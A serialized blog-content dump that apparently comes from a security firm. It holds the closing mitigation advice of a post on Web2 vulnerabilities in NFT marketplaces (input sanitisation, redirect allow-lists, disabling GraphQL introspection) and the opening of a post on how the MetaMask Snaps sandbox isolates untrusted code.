nftCollectionName;\n",[35755],{"type":21,"tag":194,"props":35756,"children":35757},{"__ignoreMap":7},[35758],{"type":21,"tag":198,"props":35759,"children":35760},{"class":200,"line":201},[35761,35765,35769,35773,35777,35782,35786,35790,35794,35799],{"type":21,"tag":198,"props":35762,"children":35763},{"style":226},[35764],{"type":27,"value":1300},{"type":21,"tag":198,"props":35766,"children":35767},{"style":211},[35768],{"type":27,"value":658},{"type":21,"tag":198,"props":35770,"children":35771},{"style":698},[35772],{"type":27,"value":3380},{"type":21,"tag":198,"props":35774,"children":35775},{"style":211},[35776],{"type":27,"value":706},{"type":21,"tag":198,"props":35778,"children":35779},{"style":205},[35780],{"type":27,"value":35781},"'nftCollectionName'",{"type":21,"tag":198,"props":35783,"children":35784},{"style":211},[35785],{"type":27,"value":3394},{"type":21,"tag":198,"props":35787,"children":35788},{"style":226},[35789],{"type":27,"value":35741},{"type":21,"tag":198,"props":35791,"children":35792},{"style":683},[35793],{"type":27,"value":979},{"type":21,"tag":198,"props":35795,"children":35796},{"style":226},[35797],{"type":27,"value":35798}," nftCollectionName",{"type":21,"tag":198,"props":35800,"children":35801},{"style":211},[35802],{"type":27,"value":1483},{"type":21,"tag":30,"props":35804,"children":35805},{},[35806],{"type":27,"value":35807},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":21,"tag":187,"props":35809,"children":35811},{"className":189,"code":35810,"language":191,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[35812],{"type":21,"tag":194,"props":35813,"children":35814},{"__ignoreMap":7},[35815],{"type":21,"tag":198,"props":35816,"children":35817},{"class":200,"line":201},[35818,35823,35828,35832,35837,35841,35846,35850,35855],{"type":21,"tag":198,"props":35819,"children":35820},{"style":249},[35821],{"type":27,"value":35822},"var",{"type":21,"tag":198,"props":35824,"children":35825},{"style":226},[35826],{"type":27,"value":35827}," sanitizedInput",{"type":21,"tag":198,"props":35829,"children":35830},{"style":683},[35831],{"type":27,"value":979},{"type":21,"tag":198,"props":35833,"children":35834},{"style":226},[35835],{"type":27,"value":35836}," DOMPurify",{"type":21,"tag":198,"props":35838,"children":35839},{"style":211},[35840],{"type":27,"value":658},{"type":21,"tag":198,"props":35842,"children":35843},{"style":698},[35844],{"type":27,"value":35845},"sanitize",{"type":21,"tag":198,"props":35847,"children":35848},{"style":211},[35849],{"type":27,"value":706},{"type":21,"tag":198,"props":35851,"children":35852},{"style":226},[35853],{"type":27,"value":35854},"userInput",{"type":21,"tag":198,"props":35856,"children":35857},{"style":211},[35858],{"type":27,"value":1470},{"type":21,"tag":30,"props":35860,"children":35861},{},[35862,35864,35871],{"type":27,"value":35863},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":21,"tag":34,"props":35865,"children":35868},{"href":35866,"rel":35867},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[38],[35869],{"type":27,"value":35870},"Content-Security-Policy",{"type":27,"value":35872}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":21,"tag":30,"props":35874,"children":35875},{},[35876],{"type":27,"value":35877},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":21,"tag":30,"props":35879,"children":35880},{},[35881,35883,35890],{"type":27,"value":35882},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":21,"tag":34,"props":35884,"children":35887},{"href":35885,"rel":35886},"https://www.techtarget.com/whatis/definition/whitelist",[38],[35888],{"type":27,"value":35889},"allow-list",{"type":27,"value":35891}," :",{"type":21,"tag":187,"props":35893,"children":35895},{"className":189,"code":35894,"language":191,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n throw new ApolloError('invalid domain');\n}\n",[35896],{"type":21,"tag":194,"props":35897,"children":35898},{"__ignoreMap":7},[35899,35928,35969,35999],{"type":21,"tag":198,"props":35900,"children":35901},{"class":200,"line":201},[35902,35906,35911,35915,35919,35924],{"type":21,"tag":198,"props":35903,"children":35904},{"style":249},[35905],{"type":27,"value":2648},{"type":21,"tag":198,"props":35907,"children":35908},{"style":226},[35909],{"type":27,"value":35910}," allowDomains",{"type":21,"tag":198,"props":35912,"children":35913},{"style":683},[35914],{"type":27,"value":979},{"type":21,"tag":198,"props":35916,"children":35917},{"style":211},[35918],{"type":27,"value":2810},{"type":21,"tag":198,"props":35920,"children":35921},{"style":205},[35922],{"type":27,"value":35923},"'https://allowed-domain'",{"type":21,"tag":198,"props":35925,"children":35926},{"style":211},[35927],{"type":27,"value":32361},{"type":21,"tag":198,"props":35929,"children":35930},{"class":200,"line":217},[35931,35935,35939,35943,35948,35952,35957,35961,35965],{"type":21,"tag":198,"props":35932,"children":35933},{"style":640},[35934],{"type":27,"value":16382},{"type":21,"tag":198,"props":35936,"children":35937},{"style":211},[35938],{"type":27,"value":648},{"type":21,"tag":198,"props":35940,"children":35941},{"style":683},[35942],{"type":27,"value":686},{"type":21,"tag":198,"props":35944,"children":35945},{"style":226},[35946],{"type":27,"value":35947},"allowDomains",{"type":21,"tag":198,"props":35949,"children":35950},{"style":211},[35951],{"type":27,"value":658},{"type":21,"tag":198,"props":35953,"children":35954},{"style":698},[35955],{"type":27,"value":35956},"includes",{"type":21,"tag":198,"props":35958,"children":35959},{"style":211},[35960],{"type":27,"value":706},{"type":21,"tag":198,"props":35962,"children":35963},{"style":226},[35964],{"type":27,"value":1309},{"type":21,"tag":198,"props":35966,"children":35967},{"style":211},[35968],{"type":27,"value":724},{"type":21,"tag":198,"props":35970,"children":35971},{"class":200,"line":236},[35972,35977,35981,35986,35990,35995],{"type":21,"tag":198,"props":35973,"children":35974},{"style":640},[35975],{"type":27,"value":35976}," throw",{"type":21,"tag":198,"props":35978,"children":35979},{"style":249},[35980],{"type":27,"value":737},{"type":21,"tag":198,"props":35982,"children":35983},{"style":698},[35984],{"type":27,"value":35985}," ApolloError",{"type":21,"tag":198,"props":35987,"children":35988},{"style":211},[35989],{"type":27,"value":706},{"type":21,"tag":198,"props":35991,"children":35992},{"style":205},[35993],{"type":27,"value":35994},"'invalid domain'",{"type":21,"tag":198,"props":35996,"children":35997},{"style":211},[35998],{"type":27,"value":1470},{"type":21,"tag":198,"props":36000,"children":36001},{"class":200,"line":260},[36002],{"type":21,"tag":198,"props":36003,"children":36004},{"style":211},[36005],{"type":27,"value":1120},{"type":21,"tag":30,"props":36007,"children":36008},{},[36009,36011,36018,36020,36027],{"type":27,"value":36010},"As ",{"type":21,"tag":34,"props":36012,"children":36015},{"href":36013,"rel":36014},"https://graphql.org/",[38],[36016],{"type":27,"value":36017},"GraphQl",{"type":27,"value":36019}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":21,"tag":34,"props":36021,"children":36024},{"href":36022,"rel":36023},"https://graphql.org/learn/introspection/",[38],[36025],{"type":27,"value":36026},"introspection",{"type":27,"value":36028}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":21,"tag":187,"props":36030,"children":36032},{"className":189,"code":36031,"language":191,"meta":7,"style":7},"const server = new ApolloServer({\n typeDefs,\n resolvers,\n introspection: false,\n});\n",[36033],{"type":21,"tag":194,"props":36034,"children":36035},{"__ignoreMap":7},[36036,36065,36077,36089,36105],{"type":21,"tag":198,"props":36037,"children":36038},{"class":200,"line":201},[36039,36043,36048,36052,36056,36061],{"type":21,"tag":198,"props":36040,"children":36041},{"style":249},[36042],{"type":27,"value":2648},{"type":21,"tag":198,"props":36044,"children":36045},{"style":226},[36046],{"type":27,"value":36047}," server",{"type":21,"tag":198,"props":36049,"children":36050},{"style":683},[36051],{"type":27,"value":979},{"type":21,"tag":198,"props":36053,"children":36054},{"style":249},[36055],{"type":27,"value":737},{"type":21,"tag":198,"props":36057,"children":36058},{"style":698},[36059],{"type":27,"value":36060}," ApolloServer",{"type":21,"tag":198,"props":36062,"children":36063},{"style":211},[36064],{"type":27,"value":15945},{"type":21,"tag":198,"props":36066,"children":36067},{"class":200,"line":217},[36068,36073],{"type":21,"tag":198,"props":36069,"children":36070},{"style":226},[36071],{"type":27,"value":36072}," typeDefs",{"type":21,"tag":198,"props":36074,"children":36075},{"style":211},[36076],{"type":27,"value":257},{"type":21,"tag":198,"props":36078,"children":36079},{"class":200,"line":236},[36080,36085],{"type":21,"tag":198,"props":36081,"children":36082},{"style":226},[36083],{"type":27,"value":36084}," resolvers",{"type":21,"tag":198,"props":36086,"children":36087},{"style":211},[36088],{"type":27,"value":257},{"type":21,"tag":198,"props":36090,"children":36091},{"class":200,"line":260},[36092,36097,36101],{"type":21,"tag":198,"props":36093,"children":36094},{"style":226},[36095],{"type":27,"value":36096}," introspection:",{"type":21,"tag":198,"props":36098,"children":36099},{"style":249},[36100],{"type":27,"value":9868},{"type":21,"tag":198,"props":36102,"children":36103},{"style":211},[36104],{"type":27,"value":257},{"type":21,"tag":198,"props":36106,"children":36107},{"class":200,"line":281},[36108],{"type":21,"tag":198,"props":36109,"children":36110},{"style":211},[36111],{"type":27,"value":2257},{"type":21,"tag":30,"props":36113,"children":36114},{},[36115,36117,36124,36126,36133],{"type":27,"value":36116},"Similarly, when ",{"type":21,"tag":34,"props":36118,"children":36121},{"href":36119,"rel":36120},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[38],[36122],{"type":27,"value":36123},"batching",{"type":27,"value":36125}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":21,"tag":34,"props":36127,"children":36130},{"href":36128,"rel":36129},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[38],[36131],{"type":27,"value":36132},"denial-of-service",{"type":27,"value":36134}," (DoS) attacks.",{"type":21,"tag":30,"props":36136,"children":36137},{},[36138],{"type":27,"value":36139},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":21,"tag":30,"props":36141,"children":36142},{},[36143],{"type":27,"value":36144},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":21,"tag":36146,"props":36147,"children":36148},"h1",{"id":3586},[36149],{"type":27,"value":3589},{"type":21,"tag":30,"props":36151,"children":36152},{},[36153],{"type":27,"value":36154},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":21,"tag":30,"props":36156,"children":36157},{},[36158],{"type":27,"value":36159},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":21,"tag":22,"props":36161,"children":36163},{"id":36162},"disclaimer",[36164],{"type":27,"value":36165},"Disclaimer",{"type":21,"tag":30,"props":36167,"children":36168},{},[36169],{"type":27,"value":36170},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":21,"tag":3645,"props":36172,"children":36173},{},[36174],{"type":27,"value":3649},{"title":7,"searchDepth":217,"depth":217,"links":36176},[36177,36180,36186,36190,36191],{"id":61,"depth":217,"text":64,"children":36178},[36179],{"id":3726,"depth":236,"text":3729},{"id":32005,"depth":217,"text":32035,"children":36181},[36182,36183,36184,36185],{"id":32054,"depth":236,"text":32057},{"id":32119,"depth":236,"text":32122},{"id":34928,"depth":236,"text":34931},{"id":35218,"depth":236,"text":35221},{"id":35563,"depth":217,"text":35566,"children":36187},[36188,36189],{"id":35585,"depth":236,"text":35588},{"id":35635,"depth":236,"text":35638},{"id":35719,"depth":217,"text":35725},{"id":36162,"depth":217,"text":36165},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":36196,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":36197,"description":36198,"author":36199,"image":36200,"date":36202,"isFeatured":16,"onBlogPage":16,"body":36203,"_type":3671,"_id":41197,"_source":3673,"_file":41198,"_stem":41199,"_extension":3676},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[11,12],{"src":36201,"height":14429,"width":14430},"/posts/metamask-snaps/header.png","2023-11-01",{"type":18,"children":36204,"toc":41178},[36205,36209,36214,36219,36224,36230,36235,36241,36254,36259,36264,36271,36303,36309,36314,36332,36339,36345,36359,36365,36385,36649,36677,36683,36702,37086,37105,37118,37436,37457,37727,37732,37738,37743,37756,37761,37774,38027,38069,38082,38088,38102,38108,38114,38127,38164,38170,38189,38300,38326,38332,38350,38363,38369,38374,38392,38503,38508,38529,38542,38559,38658,38684,38701,38822,38848,38860,38865,38871,38877,38882,38905,38910,38915,38921,38927,38954,39356,39383,39410,39416,39447,39756,39775,39780,39805,39818,39824,39851,40143,40179,40197,40202,40237,40242,40246,40251,40258,40263,40290,41066,41086,41092,41113,41160,41164,41169,41174],{"type":21,"tag":22,"props":36206,"children":36207},{"id":24},[36208],{"type":27,"value":28},{"type":21,"tag":30,"props":36210,"children":36211},{},[36212],{"type":27,"value":36213},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":21,"tag":30,"props":36215,"children":36216},{},[36217],{"type":27,"value":36218},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":21,"tag":30,"props":36220,"children":36221},{},[36222],{"type":27,"value":36223},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":21,"tag":22,"props":36225,"children":36227},{"id":36226},"sandbox-security",[36228],{"type":27,"value":36229},"Sandbox Security",{"type":21,"tag":30,"props":36231,"children":36232},{},[36233],{"type":27,"value":36234},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":21,"tag":59,"props":36236,"children":36238},{"id":36237},"permission-based-security",[36239],{"type":27,"value":36240},"Permission-based security",{"type":21,"tag":30,"props":36242,"children":36243},{},[36244,36246,36252],{"type":27,"value":36245},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":21,"tag":194,"props":36247,"children":36249},{"className":36248},[],[36250],{"type":27,"value":36251},"snap.manifest.json",{"type":27,"value":36253}," file and can be critical to security.",{"type":21,"tag":30,"props":36255,"children":36256},{},[36257],{"type":27,"value":36258},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":21,"tag":30,"props":36260,"children":36261},{},[36262],{"type":27,"value":36263},"Here are the critical permissions possible to be given to a snap:",{"type":21,"tag":30,"props":36265,"children":36266},{},[36267],{"type":21,"tag":1376,"props":36268,"children":36270},{"alt":7,"src":36269},"/posts/metamask-snaps/permissions.png",[],{"type":21,"tag":138,"props":36272,"children":36273},{},[36274,36292],{"type":21,"tag":75,"props":36275,"children":36276},{},[36277,36283,36284,36290],{"type":21,"tag":194,"props":36278,"children":36280},{"className":36279},[],[36281],{"type":27,"value":36282},"snap_getBip44Entropy",{"type":27,"value":11801},{"type":21,"tag":194,"props":36285,"children":36287},{"className":36286},[],[36288],{"type":27,"value":36289},"snap_getBip32Entropy",{"type":27,"value":36291}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":21,"tag":75,"props":36293,"children":36294},{},[36295,36301],{"type":21,"tag":194,"props":36296,"children":36298},{"className":36297},[],[36299],{"type":27,"value":36300},"endowment:transaction-insight",{"type":27,"value":36302}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":21,"tag":59,"props":36304,"children":36306},{"id":36305},"snap-execution-environment",[36307],{"type":27,"value":36308},"Snap execution environment",{"type":21,"tag":30,"props":36310,"children":36311},{},[36312],{"type":27,"value":36313},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":21,"tag":71,"props":36315,"children":36316},{},[36317,36322,36327],{"type":21,"tag":75,"props":36318,"children":36319},{},[36320],{"type":27,"value":36321},"An isolated iframe",{"type":21,"tag":75,"props":36323,"children":36324},{},[36325],{"type":27,"value":36326},"LavaMoat",{"type":21,"tag":75,"props":36328,"children":36329},{},[36330],{"type":27,"value":36331},"SES (Secure EcmaScript)",{"type":21,"tag":30,"props":36333,"children":36334},{},[36335],{"type":21,"tag":1376,"props":36336,"children":36338},{"alt":7,"src":36337},"/posts/metamask-snaps/environment.png",[],{"type":21,"tag":59,"props":36340,"children":36342},{"id":36341},"isolated-iframe-layer-1",[36343],{"type":27,"value":36344},"Isolated Iframe - Layer 1",{"type":21,"tag":30,"props":36346,"children":36347},{},[36348,36350,36357],{"type":27,"value":36349},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":21,"tag":34,"props":36351,"children":36354},{"href":36352,"rel":36353},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[38],[36355],{"type":27,"value":36356},"Iframe",{"type":27,"value":36358}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":21,"tag":162,"props":36360,"children":36362},{"id":36361},"the-framework-metamask-extension-repo",[36363],{"type":27,"value":36364},"The Framework: Metamask-Extension Repo",{"type":21,"tag":30,"props":36366,"children":36367},{},[36368,36370,36376,36378,36384],{"type":27,"value":36369},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":21,"tag":194,"props":36371,"children":36373},{"className":36372},[],[36374],{"type":27,"value":36375},"metamask-controller.js",{"type":27,"value":36377}," file. Here's a glimpse of the relevant ",{"type":21,"tag":34,"props":36379,"children":36382},{"href":36380,"rel":36381},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[38],[36383],{"type":27,"value":194},{"type":27,"value":185},{"type":21,"tag":187,"props":36386,"children":36390},{"className":36387,"code":36388,"language":36389,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n messenger: this.controllerMessenger.getRestricted({\n name: 'ExecutionService',\n }),\n setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n 'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[36391],{"type":21,"tag":194,"props":36392,"children":36393},{"__ignoreMap":7},[36394,36402,36410,36430,36478,36513,36530,36538,36580,36587,36594,36602,36630,36642],{"type":21,"tag":198,"props":36395,"children":36396},{"class":200,"line":201},[36397],{"type":21,"tag":198,"props":36398,"children":36399},{"style":1233},[36400],{"type":27,"value":36401},"// Import snaps-controllers\n",{"type":21,"tag":198,"props":36403,"children":36404},{"class":200,"line":217},[36405],{"type":21,"tag":198,"props":36406,"children":36407},{"style":1233},[36408],{"type":27,"value":36409},"// ...\n",{"type":21,"tag":198,"props":36411,"children":36412},{"class":200,"line":236},[36413,36417,36422,36426],{"type":21,"tag":198,"props":36414,"children":36415},{"style":249},[36416],{"type":27,"value":2648},{"type":21,"tag":198,"props":36418,"children":36419},{"style":226},[36420],{"type":27,"value":36421}," snapExecutionServiceArgs",{"type":21,"tag":198,"props":36423,"children":36424},{"style":683},[36425],{"type":27,"value":979},{"type":21,"tag":198,"props":36427,"children":36428},{"style":211},[36429],{"type":27,"value":233},{"type":21,"tag":198,"props":36431,"children":36432},{"class":200,"line":260},[36433,36438,36442,36447,36451,36456,36460,36465,36469,36474],{"type":21,"tag":198,"props":36434,"children":36435},{"style":226},[36436],{"type":27,"value":36437}," iframeUrl:",{"type":21,"tag":198,"props":36439,"children":36440},{"style":249},[36441],{"type":27,"value":737},{"type":21,"tag":198,"props":36443,"children":36444},{"style":698},[36445],{"type":27,"value":36446}," URL",{"type":21,"tag":198,"props":36448,"children":36449},{"style":211},[36450],{"type":27,"value":706},{"type":21,"tag":198,"props":36452,"children":36453},{"style":226},[36454],{"type":27,"value":36455},"process",{"type":21,"tag":198,"props":36457,"children":36458},{"style":211},[36459],{"type":27,"value":658},{"type":21,"tag":198,"props":36461,"children":36462},{"style":226},[36463],{"type":27,"value":36464},"env",{"type":21,"tag":198,"props":36466,"children":36467},{"style":211},[36468],{"type":27,"value":658},{"type":21,"tag":198,"props":36470,"children":36471},{"style":226},[36472],{"type":27,"value":36473},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":21,"tag":198,"props":36475,"children":36476},{"style":211},[36477],{"type":27,"value":7548},{"type":21,"tag":198,"props":36479,"children":36480},{"class":200,"line":281},[36481,36486,36491,36495,36500,36504,36509],{"type":21,"tag":198,"props":36482,"children":36483},{"style":226},[36484],{"type":27,"value":36485}," messenger:",{"type":21,"tag":198,"props":36487,"children":36488},{"style":249},[36489],{"type":27,"value":36490}," this",{"type":21,"tag":198,"props":36492,"children":36493},{"style":211},[36494],{"type":27,"value":658},{"type":21,"tag":198,"props":36496,"children":36497},{"style":226},[36498],{"type":27,"value":36499},"controllerMessenger",{"type":21,"tag":198,"props":36501,"children":36502},{"style":211},[36503],{"type":27,"value":658},{"type":21,"tag":198,"props":36505,"children":36506},{"style":698},[36507],{"type":27,"value":36508},"getRestricted",{"type":21,"tag":198,"props":36510,"children":36511},{"style":211},[36512],{"type":27,"value":15945},{"type":21,"tag":198,"props":36514,"children":36515},{"class":200,"line":302},[36516,36521,36526],{"type":21,"tag":198,"props":36517,"children":36518},{"style":226},[36519],{"type":27,"value":36520}," name:",{"type":21,"tag":198,"props":36522,"children":36523},{"style":205},[36524],{"type":27,"value":36525}," 'ExecutionService'",{"type":21,"tag":198,"props":36527,"children":36528},{"style":211},[36529],{"type":27,"value":257},{"type":21,"tag":198,"props":36531,"children":36532},{"class":200,"line":323},[36533],{"type":21,"tag":198,"props":36534,"children":36535},{"style":211},[36536],{"type":27,"value":36537}," }),\n",{"type":21,"tag":198,"props":36539,"children":36540},{"class":200,"line":344},[36541,36546,36550,36554,36559,36563,36568,36572,36576],{"type":21,"tag":198,"props":36542,"children":36543},{"style":226},[36544],{"type":27,"value":36545}," setupSnapProvider:",{"type":21,"tag":198,"props":36547,"children":36548},{"style":249},[36549],{"type":27,"value":36490},{"type":21,"tag":198,"props":36551,"children":36552},{"style":211},[36553],{"type":27,"value":658},{"type":21,"tag":198,"props":36555,"children":36556},{"style":226},[36557],{"type":27,"value":36558},"setupSnapProvider",{"type":21,"tag":198,"props":36560,"children":36561},{"style":211},[36562],{"type":27,"value":658},{"type":21,"tag":198,"props":36564,"children":36565},{"style":698},[36566],{"type":27,"value":36567},"bind",{"type":21,"tag":198,"props":36569,"children":36570},{"style":211},[36571],{"type":27,"value":706},{"type":21,"tag":198,"props":36573,"children":36574},{"style":249},[36575],{"type":27,"value":18495},{"type":21,"tag":198,"props":36577,"children":36578},{"style":211},[36579],{"type":27,"value":7548},{"type":21,"tag":198,"props":36581,"children":36582},{"class":200,"line":365},[36583],{"type":21,"tag":198,"props":36584,"children":36585},{"style":211},[36586],{"type":27,"value":2357},{"type":21,"tag":198,"props":36588,"children":36589},{"class":200,"line":386},[36590],{"type":21,"tag":198,"props":36591,"children":36592},{"emptyLinePlaceholder":16},[36593],{"type":27,"value":1283},{"type":21,"tag":198,"props":36595,"children":36596},{"class":200,"line":408},[36597],{"type":21,"tag":198,"props":36598,"children":36599},{"style":1233},[36600],{"type":27,"value":36601},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":21,"tag":198,"props":36603,"children":36604},{"class":200,"line":429},[36605,36609,36613,36617,36621,36625],{"type":21,"tag":198,"props":36606,"children":36607},{"style":226},[36608],{"type":27,"value":36455},{"type":21,"tag":198,"props":36610,"children":36611},{"style":211},[36612],{"type":27,"value":658},{"type":21,"tag":198,"props":36614,"children":36615},{"style":226},[36616],{"type":27,"value":36464},{"type":21,"tag":198,"props":36618,"children":36619},{"style":211},[36620],{"type":27,"value":658},{"type":21,"tag":198,"props":36622,"children":36623},{"style":226},[36624],{"type":27,"value":36473},{"type":21,"tag":198,"props":36626,"children":36627},{"style":683},[36628],{"type":27,"value":36629}," =\n",{"type":21,"tag":198,"props":36631,"children":36632},{"class":200,"line":450},[36633,36638],{"type":21,"tag":198,"props":36634,"children":36635},{"style":205},[36636],{"type":27,"value":36637}," 'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":21,"tag":198,"props":36639,"children":36640},{"style":211},[36641],{"type":27,"value":1483},{"type":21,"tag":198,"props":36643,"children":36644},{"class":200,"line":468},[36645],{"type":21,"tag":198,"props":36646,"children":36647},{"style":1233},[36648],{"type":27,"value":36409},{"type":21,"tag":30,"props":36650,"children":36651},{},[36652,36654,36660,36662,36668,36670,36675],{"type":27,"value":36653},"This code is defining the ",{"type":21,"tag":194,"props":36655,"children":36657},{"className":36656},[],[36658],{"type":27,"value":36659},"snapExecutionServiceArgs",{"type":27,"value":36661}," object, which contains information required for the ",{"type":21,"tag":194,"props":36663,"children":36665},{"className":36664},[],[36666],{"type":27,"value":36667},"IframeExecutionService",{"type":27,"value":36669}," to execute snaps. The ",{"type":21,"tag":194,"props":36671,"children":36673},{"className":36672},[],[36674],{"type":27,"value":36473},{"type":27,"value":36676}," points to the location where the execution environment resides.",{"type":21,"tag":162,"props":36678,"children":36680},{"id":36679},"executing-snaps-iframeexecutionservice-in-action",[36681],{"type":27,"value":36682},"Executing Snaps: IframeExecutionService in Action",{"type":21,"tag":30,"props":36684,"children":36685},{},[36686,36688,36693,36695,36701],{"type":27,"value":36687},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":21,"tag":194,"props":36689,"children":36691},{"className":36690},[],[36692],{"type":27,"value":36667},{"type":27,"value":36694}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":21,"tag":34,"props":36696,"children":36699},{"href":36697,"rel":36698},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[38],[36700],{"type":27,"value":194},{"type":27,"value":185},{"type":21,"tag":187,"props":36703,"children":36707},{"className":36704,"code":36705,"language":36706,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n `${controllerName}:handleRpcRequest`,\n async (snapId: string, options: SnapRpcHookArgs) =>\n this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n // Initialize job, streams, and environment\n const { jobId } = await this.initJob(snapData);\n const { worker, stream } = await this.initEnvStream(jobId);\n // ...\n}\n","typescript",[36708],{"type":21,"tag":194,"props":36709,"children":36710},{"__ignoreMap":7},[36711,36719,36748,36778,36831,36868,36875,36882,36890,36897,36904,36912,36947,36955,37009,37071,37079],{"type":21,"tag":198,"props":36712,"children":36713},{"class":200,"line":201},[36714],{"type":21,"tag":198,"props":36715,"children":36716},{"style":1233},[36717],{"type":27,"value":36718},"// Register message handlers for snap interactions\n",{"type":21,"tag":198,"props":36720,"children":36721},{"class":200,"line":217},[36722,36726,36730,36735,36739,36744],{"type":21,"tag":198,"props":36723,"children":36724},{"style":249},[36725],{"type":27,"value":18495},{"type":21,"tag":198,"props":36727,"children":36728},{"style":211},[36729],{"type":27,"value":658},{"type":21,"tag":198,"props":36731,"children":36732},{"style":226},[36733],{"type":27,"value":36734},"#messenger",{"type":21,"tag":198,"props":36736,"children":36737},{"style":211},[36738],{"type":27,"value":658},{"type":21,"tag":198,"props":36740,"children":36741},{"style":698},[36742],{"type":27,"value":36743},"registerActionHandler",{"type":21,"tag":198,"props":36745,"children":36746},{"style":211},[36747],{"type":27,"value":4268},{"type":21,"tag":198,"props":36749,"children":36750},{"class":200,"line":236},[36751,36756,36760,36765,36769,36774],{"type":21,"tag":198,"props":36752,"children":36753},{"style":205},[36754],{"type":27,"value":36755}," 